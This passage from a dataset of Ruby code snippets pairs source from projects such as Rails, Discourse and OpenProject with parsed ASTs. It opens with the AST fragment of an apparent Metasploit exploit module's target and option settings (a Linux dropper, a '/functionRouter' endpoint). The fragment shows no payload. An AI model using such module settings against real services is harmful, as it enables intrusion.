Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"str\",\"children\":[\"/functionRouter\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"d3a677bf-d3f4-43ef-9d66-805b50587ee6"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/getsatisfaction.rb","start_line":356,"raw_source":"def create_permalinks\n    puts \"\", \"Creating Permalinks...\", \"\"\n\n    Topic.listable_topics.find_each do |topic|\n      tcf = topic.first_post.custom_fields\n      if tcf && tcf[\"import_id\"]\n        if slug = @topic_slug[tcf[\"import_id\"]]\n          slug.gsub!(OLD_DOMAIN, \"\")\n          Permalink.find_or_create_by(url: slug, topic_id: topic.id) if slug.present?\n        end\n      end\n    end\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_permalinks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Creating Permalinks...\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"listable_topics\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tcf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"first_post\"]},\"custom_fields\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tcf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tcf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic_slug\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tcf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import_id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"OLD_DOMAIN\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]}]},null]}]},null]},null]}]}]}]}]}","id":"0638ad25-b7dd-4644-b84e-2bcf3b012889"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/client/credentials.rb","start_line":16,"raw_source":"def from_params(request)\n            request.parameters.values_at(:client_id, :client_secret)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"parameters\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"sym\",\"children\":[\"client_secret\"]}]}]}","id":"e25064ca-c60b-4ffb-9485-755725dba9fa"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/message_annotator.rb","start_line":47,"raw_source":"def initialize(config, cop_name, cop_config, options)\n        @config = config\n        @cop_name = cop_name\n        @cop_config = cop_config || {}\n        @options = options\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"cop_name\"]},{\"type\":\"arg\",\"children\":[\"cop_config\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cop_name\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cop_config\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_config\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"576dc12c-9eab-4240-a198-2305002f6835"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider.rb","start_line":26,"raw_source":"def self.enabled_provider_names\n      self.enabled_providers.map! { |x| x::PROVIDER_NAME }\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled_provider_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled_providers\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"PROVIDER_NAME\"]}]}]}","id":"7afdbff6-4cb0-4996-b471-55d0015aa2fe"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/report/html_report.rb","start_line":16,"raw_source":"def show\n        template_path = Pathname.new(\"#{__dir__}/html_report/html_report.html.erb\")\n        puts ERB.new(template_path.read).result(binding)\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]},{\"type\":\"str\",\"children\":[\"/html_report/html_report.html.erb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_path\"]},\"read\"]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}]}","id":"d51a9587-1cdd-4f5a-b92a-1d518313fbb7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/json/encoding.rb","start_line":78,"raw_source":"def initialize(options = nil)\n          @options = options || {}\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"717a3f9a-1b4c-4d9f-93b0-31d6b70d4af5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/detach_process_mixin.rb","start_line":20,"raw_source":"def detach_process\n        log.warn \"#{__method__} is not supported in this version. ignored.\"\n        yield\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"detach_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]},{\"type\":\"str\",\"children\":[\" is not supported in this version. ignored.\"]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"fdfdda34-6a46-40f3-b326-ad1419c1aa08"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/watchers_controller.rb","start_line":44,"raw_source":"def unwatch\n    set_watcher(User.current, false)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unwatch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"set_watcher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"7c95af44-c7e6-49a8-8833-e4e03d6320c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_seeder.rb","start_line":106,"raw_source":"def base_work_package_attributes(attributes)\n      {\n        project:,\n        author: admin_user,\n        assigned_to: find_principal(attributes[\"assigned_to\"]),\n        subject: attributes[\"subject\"],\n        description: attributes[\"description\"],\n        status: find_status(attributes),\n        type: find_type(attributes),\n        priority: IssuePriority.default,\n        parent: find_work_package(attributes[\"parent\"])\n      }\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"base_work_package_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"admin_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to\"]},{\"type\":\"send\",\"children\":[null,\"find_principal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"assigned_to\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"subject\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"find_status\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"find_type\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssuePriority\"]},\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[null,\"find_work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent\"]}]}]}]}]}]}","id":"629a1c3d-1a16-4201-aa23-344a034e8f2b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/crypto_asn1/cms.rb","start_line":123,"raw_source":"def to_der\n      value.to_der\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_der\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"to_der\"]}]}","id":"4ac48fcd-a078-4a3a-80aa-e0dbf031eaec"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report.rb","start_line":61,"raw_source":"def method_missing method, *args\n    if VALID_FORMATS.include? method\n      format method\n    else\n      super\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_FORMATS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"d4781e83-9451-4295-bfd6-c50575dfe054"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/imports/row_processors/product_variant.rb","start_line":90,"raw_source":"def prepare_taxons\n          taxon_pretty_names = [\n            attributes['category1'],\n            attributes['category2'],\n            attributes['category3']\n          ].compact_blank.map(&:strip).uniq\n\n          return [] if taxon_pretty_names.empty?\n\n          taxons = taxon_pretty_names.map { |taxon_pretty_name| handle_taxon_line(taxon_pretty_name) }\n          taxons.compact\n        end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_taxons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"taxon_pretty_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category3\"]}]}]},\"compact_blank\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon_pretty_names\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"taxons\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon_pretty_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxon_pretty_name\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_taxon_line\",{\"type\":\"lvar\",\"children\":[\"taxon_pretty_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxons\"]},\"compact\"]}]}]}","id":"b1962de5-46d1-4b4f-9c0b-ea08ae635b9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/move_ci_builds_to_dynamic_schema_spec.rb","start_line":69,"raw_source":"def drop_partition(name)\n    return unless table_exists?(name)\n\n    ApplicationRecord.connection.execute(<<~SQL)\n      ALTER TABLE p_#{table_name} DETACH PARTITION #{name};\n      DROP TABLE IF EXISTS #{name};\n    SQL\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_partition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE p_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" DETACH PARTITION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"DROP TABLE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]}]}","id":"6d9e1bb8-47a2-416d-8aa3-e8cf695b1e73"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/filters.rb","start_line":94,"raw_source":"def render_filter(f_cls, f_inst)\n    f = f_inst || f_cls\n    html = \"\".html_safe\n    render_widget Label, f, to: html\n    render_widget Operators, f, to: html\n\n    # Handling for custom widgets first\n    if f_cls == CostQuery::Filter::ProjectId\n      render_widget Project, f, to: html\n    elsif user_filter?(f_cls)\n      render_widget User, f, to: html\n    elsif f_cls == CostQuery::Filter::WorkPackageId\n      render_widget WorkPackage, f, to: html\n    # Handling of generic widgets\n    elsif f_cls.heavy?\n      render_widget Heavy, f, to: html\n    elsif engine::Operator.string_operators.all? { |o| f_cls.available_operators.include? o }\n      render_widget TextBox, f, to: html\n    elsif engine::Operator.time_operators.all? { |o| f_cls.available_operators.include? o }\n      render_widget Date, f, to: html\n    elsif engine::Operator.integer_operators.all? { |o| f_cls.available_operators.include? o }\n      if f_cls.available_values.blank?\n        render_widget TextBox, f, to: html\n      else\n        render_widget MultiValues, f, to: html, lazy: true\n      end\n    elsif f_cls.is_multiple_choice?\n      render_widget MultiChoice, f, to: html\n    else\n      render_widget MultiValues, f, to: html, lazy: true\n    end\n    render_widget RemoveButton, f, to: html\n  end","complexity_score":74.7,"ast_json":"{\"type\":\"def\",\"children\":[\"render_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f_cls\"]},{\"type\":\"arg\",\"children\":[\"f_inst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_inst\"]},{\"type\":\"lvar\",\"children\":[\"f_cls\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"Label\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"Operators\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"Filter\"]},\"ProjectId\"]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_filter?\",{\"type\":\"lvar\",\"children\":[\"f_cls\"]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"Filter\"]},\"WorkPackageId\"]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"heavy?\"]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"Heavy\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"Operator\"]},\"string_operators\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"available_operators\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"TextBox\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"Operator\"]},\"time_operators\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"available_operators\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"Date\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"Operator\"]},\"integer_operators\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"available_operators\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"available_values\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"TextBox\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"MultiValues\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lazy\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f_cls\"]},\"is_multiple_choice?\"]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"MultiChoice\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"MultiValues\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lazy\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[null,\"RemoveButton\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]